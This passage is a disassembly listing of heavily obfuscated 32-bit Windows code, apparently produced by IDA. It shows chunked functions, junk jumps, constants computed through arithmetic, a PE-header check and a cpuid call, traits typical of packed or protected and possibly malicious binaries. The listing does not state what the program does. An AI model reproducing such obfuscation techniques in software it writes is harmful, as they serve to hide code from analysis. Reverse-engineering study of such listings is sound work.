CODE XREF: sub_425A3C:loc_429781j retn ; END OF FUNCTION CHUNK FOR sub_424762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42966F loc_42E413: ; CODE XREF: sub_42966F:loc_428FE8j push eax loc_42E414: ; CODE XREF: sub_425C89:loc_423C36j call sub_42B500 loc_42E419: ; CODE XREF: sub_425DA5+7C9Ej jmp loc_42363A ; END OF FUNCTION CHUNK FOR sub_42966F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42E41E: ; CODE XREF: sub_42326C:loc_426BB6j push edi push 0D2E12435h pop edi add edi, 0D807356Dh or edi, 2161BCECh cmp edi, 0EE117E9Eh jmp loc_42D28B ; END OF FUNCTION CHUNK FOR sub_42326C ; =============== S U B R O U T I N E ======================================= sub_42E43C proc near ; CODE XREF: sub_42D553:loc_425059p ; _0182ofla:0042971Dj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426C5A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042773B SIZE 0000000B BYTES xchg edx, [esp+0] pop edx xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx call sub_42D33D loc_42E44B: ; CODE XREF: sub_423FE2:loc_425F9Dj cmp ebp, edx jmp loc_426C5A sub_42E43C endp ; sp-analysis failed ; --------------------------------------------------------------------------- test ecx, eax jmp loc_429AAB ; --------------------------------------------------------------------------- push 42244363h jmp sub_42A041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C68 loc_42E463: ; CODE XREF: sub_429C68:loc_427EF4j jz loc_42B7CE jmp loc_42EDC4 ; END OF FUNCTION CHUNK FOR sub_429C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_42E46E: ; CODE XREF: sub_4231F3:loc_426DDCj push offset sub_42395F jmp nullsub_199 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- loc_42E478: ; CODE XREF: _0182ofla:00429D5Cj push edi push 0F65F2C29h pop edi add edi, 9E3BCB7h mov [edi], eax pop edi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426EA9 loc_42E489: ; CODE XREF: sub_426EA9+7j jmp nullsub_169 ; END OF FUNCTION CHUNK FOR sub_426EA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42E48E: ; CODE XREF: sub_423A2A:loc_42323Fj mov eax, [ebp-8] shr eax, 0Bh ; END OF FUNCTION CHUNK FOR sub_423A2A ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_42E494: ; CODE XREF: sub_425EA5+6ED9j xor [ebp-8], eax mov eax, [ebp-8] shl eax, 0Fh add [ebp-8], eax mov eax, [ebp-8] jmp loc_42AAAA ; END OF FUNCTION CHUNK FOR sub_425EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D70E loc_42E4A8: ; CODE XREF: sub_42D70E-72FEj and eax, 8C34950Bh add eax, 802E5367h xchg eax, [esp+8+var_8] jmp sub_42E376 ; END OF FUNCTION CHUNK FOR sub_42D70E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E4BD: ; CODE XREF: _0182ofla:0042E390j jmp locret_4275F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_42E4C2: ; CODE XREF: sub_428F46-2D91j jmp loc_425A56 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4286A8 loc_42E4C7: ; CODE XREF: sub_4286A8-3214j jmp nullsub_170 ; END OF FUNCTION CHUNK FOR sub_4286A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_42E4CC: ; CODE XREF: sub_425629-1745j jmp loc_425644 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5FC loc_42E4D1: ; CODE XREF: sub_42A5FC:loc_429917j xor edx, edx call sub_42B14D call sub_4247FE call nullsub_3 ; END OF FUNCTION CHUNK FOR sub_42A5FC ; START OF FUNCTION CHUNK FOR sub_42798F loc_42E4E2: ; CODE XREF: sub_42798F+1DCBj ; sub_42D76D+14j mov eax, ds:dword_42A3B4 mov [ebp-4], eax mov eax, offset dword_42A3A8 jmp loc_42D35C ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- mov esi, [eax] jmp sub_42DA2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E6A loc_42E4FB: ; CODE XREF: sub_426E6A+44DCj xchg edi, [esp+0] push ecx push 0F433994Bh pop ecx sub ecx, 804EE581h xor ecx, 1323C320h jmp loc_42A409 ; END OF FUNCTION CHUNK FOR sub_426E6A ; --------------------------------------------------------------------------- dw 0C085h dd 0D130840Fh, 858DFFFFh, 0FFFFF800h, 51046A50h, 0EF552868h dd 0BEE959D9h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_42E533: ; CODE XREF: sub_42B3C2-4A71j xchg edi, ebp loc_42E535: ; CODE XREF: _0182ofla:loc_42828Fj mov eax, [ebp-4] call sub_42C1A3 ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; START OF FUNCTION CHUNK FOR sub_426993 loc_42E53D: ; CODE XREF: sub_426993-CD4j add eax, ecx loc_42E53F: ; CODE XREF: sub_426993:loc_42A650j call sub_42AA62 adc ecx, 219431F6h jmp sub_428F0F ; END OF FUNCTION CHUNK FOR sub_426993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_42E54F: ; CODE XREF: sub_42B1F9+8Fj xchg eax, [esp+0] jmp loc_424048 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42E557: ; CODE XREF: sub_423A2A+1D29j jbe loc_42DB84 jmp loc_42B418 ; END OF FUNCTION CHUNK FOR sub_423A2A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC9 loc_42E563: ; CODE XREF: sub_428AC9+13j jmp loc_42ED39 ; END OF FUNCTION CHUNK FOR sub_428AC9 ; --------------------------------------------------------------------------- loc_42E568: ; CODE XREF: _0182ofla:00423B76j jmp loc_4285D3 ; --------------------------------------------------------------------------- test edi, eax jmp loc_42AB38 ; =============== S U B R O U T I N E ======================================= sub_42E574 proc near ; CODE XREF: sub_424184:loc_42A543p ; _0182ofla:0042CD85j xchg ecx, [esp+0] pop ecx add edx, 9EA43879h add edx, ebp jmp loc_42D4D4 sub_42E574 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E585 proc near ; DATA XREF: sub_4281B9+36E0o ; FUNCTION CHUNK AT 00423658 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427EA9 SIZE 00000006 BYTES add eax, ebp add eax, 0BEABAE19h call sub_42E825 loc_42E592: ; CODE XREF: sub_42798F+5D63j jmp loc_423658 sub_42E585 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42E597: ; CODE XREF: sub_425B6E:loc_4242E7j pop edi rol edi, 1 cmp edi, 0BEDD4221h jmp loc_4264DD ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42E5A5: ; CODE XREF: sub_428EB9:loc_4250BEj add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_427DD8 xor eax, eax jmp loc_42AA1D ; END OF FUNCTION CHUNK FOR sub_428EB9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B14D loc_42E5C9: ; CODE XREF: sub_42B14D+6j jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_42B14D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429203 loc_42E5CE: ; CODE XREF: sub_429203+CB9j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_429203 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_42E5D3: ; CODE XREF: sub_427DFA:loc_424C7Aj ; sub_42AAF8+371j jz loc_425F7E jmp loc_423FC8 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- mov ds:dword_4257A4, eax ; START OF FUNCTION CHUNK FOR sub_428F0F loc_42E5E3: ; CODE XREF: sub_428F0F:loc_42ACC4j lea eax, [ebp-14h] xor edx, edx call sub_42B14D jmp loc_426B8B ; END OF FUNCTION CHUNK FOR sub_428F0F ; --------------------------------------------------------------------------- loc_42E5F2: ; CODE XREF: _0182ofla:00424EB3j sub ecx, 0EF90518h ; =============== S U B R O U T I N E ======================================= sub_42E5F8 proc near ; CODE XREF: sub_42883C:loc_42D5A9p ; FUNCTION CHUNK AT 00425F1A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429786 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429EDD SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042A729 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042ADCA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CF73 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D477 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E858 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] cmp dword ptr [eax], 4550h jmp loc_429786 sub_42E5F8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_42E60A: ; CODE XREF: sub_427239-2C45j mov eax, [eax] or eax, eax jnz loc_425512 jmp loc_42C5DA ; END OF FUNCTION CHUNK FOR sub_427239 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42E61A: ; CODE XREF: sub_423FCD:loc_4237ACj ; sub_42D978:loc_425CE2j jz sub_42D430 jmp loc_426519 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- jnb loc_42ADA5 jmp sub_4256AD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4254D3 loc_42E631: ; CODE XREF: sub_4254D3+77E5j jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_4254D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42E636: ; CODE XREF: sub_42D056-925Cj jmp loc_42887D ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42E63B: ; CODE XREF: sub_42D833:loc_4294A5j push eax push ebx push 0E18E05EDh pop ebx jmp loc_4234EB ; END OF FUNCTION CHUNK FOR sub_42D833 ; =============== S U B R O U T I N E ======================================= sub_42E648 proc near ; CODE XREF: _0182ofla:loc_425354p ; _0182ofla:0042923Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042482D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425B87 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EDB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A7DA SIZE 00000014 BYTES xchg ebx, [esp+4+var_4] pop ebx xchg ecx, [esp+0] jmp loc_425B87 sub_42E648 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [esi], eax jmp loc_428CD5 ; --------------------------------------------------------------------------- and ecx, eax jmp sub_4230AC ; --------------------------------------------------------------------------- loc_42E662: ; CODE XREF: _0182ofla:0042B05Ej sub ebx, 98FD9BF7h ; =============== S U B R O U T I N E ======================================= sub_42E668 proc near ; CODE XREF: sub_428A39:loc_42950Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042333E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042B28E SIZE 00000005 BYTES mov [esp+0], edx loc_42E66B: ; CODE XREF: _0182ofla:loc_4242F7j ; _0182ofla:loc_42A35Cj pop edx push edx push eax mov eax, [ebp-18h] jmp loc_42B28E sub_42E668 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test edx, edi jmp loc_42EAEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42E67D: ; CODE XREF: sub_42798F-2674j cdq jnz loc_4240A3 jmp loc_429013 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42E689 proc near ; DATA XREF: sub_425E4D+5201o ; FUNCTION CHUNK AT 004250DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004256F7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425784 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427572 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282D6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00428329 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429625 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A044 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042A49F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B6BB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C969 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042EBB7 SIZE 00000005 BYTES or eax, eax jnz loc_42C969 jmp loc_42A49F sub_42E689 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42E696: ; CODE XREF: _0182ofla:0042A892j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_42E697: ; CODE XREF: _0182ofla:004288B5j ; sub_427239:loc_42C794j jmp loc_42AC19 ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- loc_42E69C: ; CODE XREF: _0182ofla:loc_424734j add eax, ebp add eax, 0C73808C3h push eax push 400000h mov eax, [ebp-10h] loc_42E6AD: ; CODE XREF: _0182ofla:004258F0j push eax push edx push 0AF919A83h jmp loc_429971 ; --------------------------------------------------------------------------- loc_42E6B9: ; CODE XREF: _0182ofla:00423D0Bj sbb esi, 110D72EEh ; =============== S U B R O U T I N E ======================================= sub_42E6BF proc near ; CODE XREF: sub_42662C:loc_4241F8p ; FUNCTION CHUNK AT 0042C192 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042D2E8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042D374 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DA8C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042E00F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E998 SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx mov eax, [eax] call sub_423FE2 loc_42E6CA: ; CODE XREF: sub_423114+ACAAj jmp loc_42E998 sub_42E6BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E6CF proc near ; DATA XREF: sub_428110:loc_42DCB2o call sub_428D09 mov edx, 9E99B23Eh call sub_42D71D call sub_42860D sub_42E6CF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_429597 loc_42E6E3: ; CODE XREF: sub_429597+9j jmp loc_42D1BC ; END OF FUNCTION CHUNK FOR sub_429597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42E6E8: ; CODE XREF: sub_4253F4:loc_427CCBj ja loc_4259A9 jmp loc_423554 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- mov [edx], ecx jmp sub_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42E6FA: ; CODE XREF: sub_42798F+1AECj shl ebp, 9 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42E6FD proc near ; CODE XREF: sub_425BF8+9183p mov [esp+0], ecx pop ecx cmp eax, 0FFFFFFFFh push offset loc_42D4B1 jmp nullsub_176 sub_42E6FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C68 loc_42E70E: ; CODE XREF: sub_429C68:loc_42A2CAj mov eax, ds:dword_4231A0 or eax, eax jnz loc_42AD33 jmp loc_427EF4 ; END OF FUNCTION CHUNK FOR sub_429C68 ; --------------------------------------------------------------------------- cmp ebx, 6359571Ah jmp loc_42CD65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42E72C: ; CODE XREF: sub_42798F+3C26j shr edx, 16h jmp loc_424B57 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42E734 proc near ; CODE XREF: sub_42CC99j ; DATA XREF: sub_4271AD+5AE2o ; FUNCTION CHUNK AT 0042515C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CA83 SIZE 00000005 BYTES push 0 call sub_425C89 jmp loc_42CA83 sub_42E734 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42E740: ; CODE XREF: sub_423FCDj mov eax, ds:dword_42577C or eax, eax jnz loc_42C895 jmp loc_42A0A7 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- sbb esi, ebx add eax, 0B22C9754h jmp sub_424184 ; --------------------------------------------------------------------------- loc_42E760: ; CODE XREF: _0182ofla:loc_42906Cj mov [ebp-4], eax push 1Ch push 0BABD04E9h pop eax add eax, 0DF468A2Eh jmp loc_42ADBB ; --------------------------------------------------------------------------- sub edi, edx jmp sub_42E7E3 ; =============== S U B R O U T I N E ======================================= sub_42E77D proc near ; CODE XREF: sub_429E52-50CDp ; _0182ofla:0042D61Ej arg_0 = dword ptr 4 mov [esp+0], edx pop edx xchg ebx, [esp-4+arg_0] retn sub_42E77D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E785 proc near ; DATA XREF: sub_429E52-50D2o ; FUNCTION CHUNK AT 00424358 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042572D SIZE 00000004 BYTES xor ebx, 0B9B3A829h and ebx, 6EAF043Fh add ebx, 97B56D4Ah jmp loc_424358 sub_42E785 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E79C proc near ; CODE XREF: sub_426CC3+5p ; _0182ofla:00429F43j ; FUNCTION CHUNK AT 00427225 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push 4F7C309Dh pop esi and esi, 3AB11CD5h or esi, 0ED1BEBCDh jmp loc_427225 sub_42E79C endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz loc_4283F9 jmp loc_429D06 ; --------------------------------------------------------------------------- not ecx jmp loc_42D976 ; --------------------------------------------------------------------------- push offset sub_42C58A jmp locret_4256F6 ; --------------------------------------------------------------------------- byte_42E7D5 db 0F2h, 0CCh, 0E9h ; CODE XREF: sub_429B91+Cj dd 0FFFF8737h, 8DE9E887h db 63h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_42E7E3 proc near ; CODE XREF: sub_428AB5p ; _0182ofla:0042E778j arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] mov eax, [esp-4+arg_0] xchg eax, ecx push ecx push offset sub_427E90 jmp nullsub_219 sub_42E7E3 endp ; --------------------------------------------------------------------------- loc_42E7FA: ; CODE XREF: _0182ofla:004258D2j jnz loc_4292C4 jmp loc_428D98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242AC loc_42E805: ; CODE XREF: sub_4242AC:loc_429351j pop ebx xor ebx, 0BFE0BD97h add ebx, 0BA03AA94h xchg ebx, [esp+4+var_4] jmp sub_42A00A ; END OF FUNCTION CHUNK FOR sub_4242AC ; --------------------------------------------------------------------------- xor ebx, 0B41E8C35h jmp loc_42ECF0 ; =============== S U B R O U T I N E ======================================= sub_42E825 proc near ; CODE XREF: _0182ofla:00426D72j ; sub_42E585+8p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426E15 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi popf push ebx mov [esp-4+arg_0], eax jmp loc_426E15 sub_42E825 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42E833: ; CODE XREF: sub_428F20:loc_429811j jp loc_4270A8 rol esi, 0Eh jmp loc_4246A6 ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_42E841 proc near ; CODE XREF: sub_424E36+6p ; _0182ofla:00427E5Bj mov [esp+0], edx pop edx pop ecx push esi pushf jmp loc_42EB0E sub_42E841 endp ; --------------------------------------------------------------------------- loc_42E84D: ; CODE XREF: _0182ofla:loc_42D0C3j jz loc_42D845 ; START OF FUNCTION CHUNK FOR sub_42537E loc_42E853: ; CODE XREF: sub_42537E+837Fj jmp loc_4272BE ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42E858: ; CODE XREF: sub_42E5F8-167Fj jmp loc_42ADCA ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- jb loc_4296A8 jmp loc_42D844 ; --------------------------------------------------------------------------- loc_42E868: ; CODE XREF: _0182ofla:00425D1Fj jnp loc_42E368 xchg ecx, eax loc_42E870: ; CODE XREF: _0182ofla:loc_42650Ej call sub_42326C push offset sub_42DFFB jmp loc_425D3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_42E87F: ; CODE XREF: sub_4231F3+5j ; sub_4268FC+9j ... jb loc_423209 add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_42D510 push offset sub_4231F3 jmp loc_427154 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- sbb eax, 403E6635h jmp loc_42DDA4 ; --------------------------------------------------------------------------- cmp esi, ebp jmp loc_427C97 ; --------------------------------------------------------------------------- loc_42E8B0: ; DATA XREF: sub_4251FB+Ao mov ebp, esp push ecx push offset sub_42CE01 jmp loc_424B47 ; --------------------------------------------------------------------------- db 92h, 11h, 45h dword_42E8C0 dd 0CBBF38DCh ; DATA XREF: sub_42A420:loc_428079w ; sub_42A420:loc_42A428r dword_42E8C4 dd 85A69DF9h ; DATA XREF: sub_42448C:loc_425FBBr ; sub_429AB1:loc_428322w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425126 loc_42E8C8: ; CODE XREF: sub_425126+Bj jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_425126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42E8CD: ; CODE XREF: sub_425B6E-28A6j jmp nullsub_179 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- dw 0F02Fh dword_42E8D4 dd 0F3D04CBBh ; DATA XREF: _0182ofla:004232E5w ; sub_426020+7376r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_42E8D8: ; CODE XREF: sub_42940E-2403j jmp loc_42D0D5 ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- db 0BDh, 52h, 4Fh dd 7166F77Eh dword_42E8E4 dd 0F39B51BBh ; DATA XREF: sub_42B669:loc_42989Cr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42E8E8: ; CODE XREF: sub_42537E+728Fj jmp loc_42D6F7 ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- db 0Fh, 0A4h, 19h dword_42E8F0 dd 223BF3F8h ; DATA XREF: sub_428176:loc_42855Dr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC59 loc_42E8F4: ; CODE XREF: sub_42CC59-6362j mov [edx], eax call sub_42C870 ; END OF FUNCTION CHUNK FOR sub_42CC59 ; START OF FUNCTION CHUNK FOR sub_424A70 loc_42E8FB: ; CODE XREF: sub_424A70+1D5Dj mov eax, [eax] mov edx, [ebp-8] xchg eax, [edx] xor [ebp-4], eax cmp dword ptr [ebp-4], 0 setnz byte ptr [ebp-9] mov al, [ebp-9] jmp loc_4257D4 ; END OF FUNCTION CHUNK FOR sub_424A70 ; --------------------------------------------------------------------------- add esi, 3EDB3387h jmp loc_42912A ; --------------------------------------------------------------------------- not ebx jmp sub_42B15E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_42E928: ; CODE XREF: sub_42660C+6995j jmp loc_426274 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- loc_42E92D: ; CODE XREF: _0182ofla:0042B3DEj jmp loc_426E27 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AE14 loc_42E933: ; CODE XREF: sub_42AE14+12j jmp sub_42D71D ; END OF FUNCTION CHUNK FOR sub_42AE14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_42E938: ; CODE XREF: sub_42C1B2-7A5Cj ; _0182ofla:004281E0j mov eax, [ebp-4] push eax call sub_4278DB jmp loc_427C5B ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D387 loc_42E946: ; CODE XREF: sub_42D387:loc_42AAAEj mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] push offset loc_424122 jmp nullsub_181 ; END OF FUNCTION CHUNK FOR sub_42D387 ; --------------------------------------------------------------------------- loc_42E959: ; CODE XREF: _0182ofla:loc_42DEB0j jnz loc_42B8C4 jmp loc_42AD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42E964: ; CODE XREF: sub_428729:loc_42CEEBj add eax, 81F02C95h mov eax, [eax] push ebx pushf jmp loc_4244CD ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- add edi, 6C69A3C4h jmp loc_4299B6 ; =============== S U B R O U T I N E ======================================= sub_42E97E proc near ; CODE XREF: sub_42798F:loc_42721Aj ; FUNCTION CHUNK AT 00427AE5 SIZE 00000007 BYTES push ebx push 1B9F2781h pop ebx add ebx, 0D65352CEh add ebx, ebp add ebx, 0E0D85ADh jmp loc_427AE5 sub_42E97E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6BF loc_42E998: ; CODE XREF: sub_42E6BF:loc_42E6CAj test al, al jz loc_42C192 jmp loc_42E00F ; END OF FUNCTION CHUNK FOR sub_42E6BF ; =============== S U B R O U T I N E ======================================= sub_42E9A5 proc near ; DATA XREF: sub_42E689:loc_4250DAo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427198 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427FDA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042813D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EB41 SIZE 0000000D BYTES push ebx push 8E107A61h pop ebx xor ebx, 5B8A659Eh test ebx, 20000000h jmp loc_42EB41 sub_42E9A5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42E9BD: ; CODE XREF: sub_425B6E-9CEj xor ecx, ecx xor edx, edx cpuid add [esi], eax xor [esi], ebx jmp loc_428ABA ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- loc_42E9CC: ; CODE XREF: _0182ofla:00426139j ; _0182ofla:loc_42C207j call sub_42771F ; START OF FUNCTION CHUNK FOR sub_4253DC loc_42E9D1: ; CODE XREF: sub_4253DC+6j jmp loc_423C9E ; END OF FUNCTION CHUNK FOR sub_4253DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42E9D6: ; CODE XREF: sub_428EB9:loc_426F27j mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_427C1A ; --------------------------------------------------------------------------- loc_42E9E2: ; CODE XREF: sub_428EB9-5CA1j ; sub_428EB9-5C94j js loc_42918F cmp dword ptr [ebp-10h], 0 jnz loc_42AC56 mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 6 jmp loc_42917B ; END OF FUNCTION CHUNK FOR sub_428EB9 ; =============== S U B R O U T I N E ======================================= sub_42E9FF proc near ; DATA XREF: sub_4283EF:loc_4283F9o arg_4 = dword ptr 8 pop ecx pop ecx mov ebp, offset nullsub_224 xchg ebp, [esp-8+arg_4] retn sub_42E9FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 